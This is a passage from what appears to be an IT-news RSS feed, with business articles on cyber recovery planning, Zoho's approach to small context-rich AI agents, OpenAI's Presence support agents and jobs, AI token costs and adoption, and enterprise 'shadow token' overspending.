<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3694393/it-security-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694393/it-security-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



